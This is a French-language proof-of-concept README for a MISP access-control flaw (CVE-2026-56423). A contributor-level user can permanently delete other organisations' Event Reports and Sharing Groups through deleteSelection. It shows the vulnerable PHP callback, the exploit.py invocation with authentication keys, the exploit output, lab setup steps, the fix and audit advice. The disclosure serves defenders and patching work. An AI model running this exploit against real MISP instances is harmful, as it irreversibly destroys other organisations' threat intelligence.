
PoC pour CVE-2026-56423 : contrôle d'accès défaillant de deleteSelection dans MISP (CWE-862, un contributeur supprime définitivement les Event Reports/Sharing Groups d'autres organisations, CVSS 8.8)
deleteSelection de MISPPreuve de concept pour une faille d'absence d'autorisation dans les flux de suppression en masse de MISP pour les Rapports d'événements et les Groupes de partage. Les gestionnaires deleteSelection autorisent chaque élément sélectionné via un rappel qui ignore l'élément et renvoie la permission de rôle globale de l'appelant (perm_add / perm_sharing_group) au lieu d'une vérification de propriété par objet. Un contributeur à faibles privilèges (le rôle par défaut "Utilisateur") peut donc soumettre des ID/UUID de rapports appartenant à n'importe quelle organisation et les supprimer définitivement à l'échelle de l'instance, alors que l'action delete par objet, correctement protégée, refuse exactement la même requête.
| CVE | CVE-2026-56423 |
| Produit | Noyau MISP (Malware Information Sharing Platform) |
| Versions affectées | MISP CE/EE ≤ 2.5.41 |
| Corrigé dans | 2.5.42 |
| Classe | CWE-862 — Autorisation manquante (contrôle d'accès défaillant au niveau objet) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Authentification | Authentifié, faibles privilèges (tout rôle avec perm_add, ex. "Utilisateur") |
| Publié | 2026-06-22 |
| Statut | CONFIRMÉ — un contributeur supprime le rapport d'une autre organisation sur 2.5.40 ; refusé sur 2.5.42 |
app/Controller/EventReportsController.php (tag v2.5.40) :
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignores $itemId → global role bool
},
]);
}
CRUDComponent::deleteSelection appelle ce checkModifyCallback pour chaque identifiant sélectionné et supprime l'objet chaque fois qu'il renvoie true :
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
Comme le rappel renvoie $this->userRole['perm_add'] — un booléen global qui est true pour le rôle "Utilisateur" par défaut — la propriété du rapport cible n'est jamais vérifiée. En comparaison, l'action delete($id) sur un seul objet appelle correctement EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') et refuse les rapports étrangers.
SharingGroupsController::deleteSelection présente le même défaut en utilisant perm_sharing_group.
Le correctif dans 2.5.42 (commits ada02fa, f99b3f1) remplace le rappel par un appel par élément EventReport::fetchIfAuthorized($user, $itemId, 'delete').
Voir ANALYSIS.md pour la procédure complète.
perm_add — le rôle Utilisateur intégré, accordé aux contributeurs ordinaires sur les instances multi-organisations.MISP.enable_themes = true. L'action deleteSelection est protégée dans l'ACL par AND(theming_enabled, perm_add), où theming_enabled correspond au paramètre MISP.enable_themes. Ce paramètre est désactivé par défaut mais est un indicateur de fonctionnalité d'interface normal activé sur de nombreuses instances (il alimente l'interface v2 index/liste). Lorsqu'il est désactivé, l'action renvoie HTTP 403 avant que le rappel défectueux ne s'exécute.python3 exploit.py https://127.0.0.1:443 \
--attacker-key <contributor_authkey> \
--admin-key <admin_authkey_used_only_to_confirm_the_target> \
--report-id <id_of_a_report_owned_by_another_org>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| Requête (contributeur à faibles privilèges, rapport étranger) | v2.5.40 | v2.5.42 |
|---|---|---|
delete/{id} correctement protégé | 404 refusé | 404 refusé |
| du même rapport |
La même requête passe du succès au refus après le correctif, et la suppression par objet correctement protégée est refusée dans les deux cas — prouvant que le bogue est l'absence d'autorisation par objet dans deleteSelection, et non un compte mal configuré. Transcription complète dans EVIDENCE.txt.
Tout utilisateur à faibles privilèges sur une instance MISP partagée peut supprimer définitivement et irréversiblement les Rapports d'événements — récits d'analystes attachés aux événements de renseignement sur les menaces — et les Groupes de partage appartenant à d'autres organisations, à l'échelle de l'instance. Il s'agit d'une compromission de l'intégrité/disponibilité inter-locataire d'une plateforme de renseignement sur les menaces sur laquelle les CERT, ISAC et SOC comptent.
EventReport::fetchIfAuthorized($user, $itemId, 'delete') pour chaque élément sélectionné ; le même motif est appliqué aux Groupes de partage.Auditez les journaux MISP pour les requêtes EventReports/deleteSelection (et SharingGroups/deleteSelection) où l'organisation de l'utilisateur actif diffère de l'organisation propriétaire de l'objet supprimé.
Research and PoC by Caio Fabrício (@BiiTts).
MIT — voir LICENCE.
deleteSelection| 200 — supprimé définitivement |
| 403 — "Impossible de supprimer" ; rapport intact |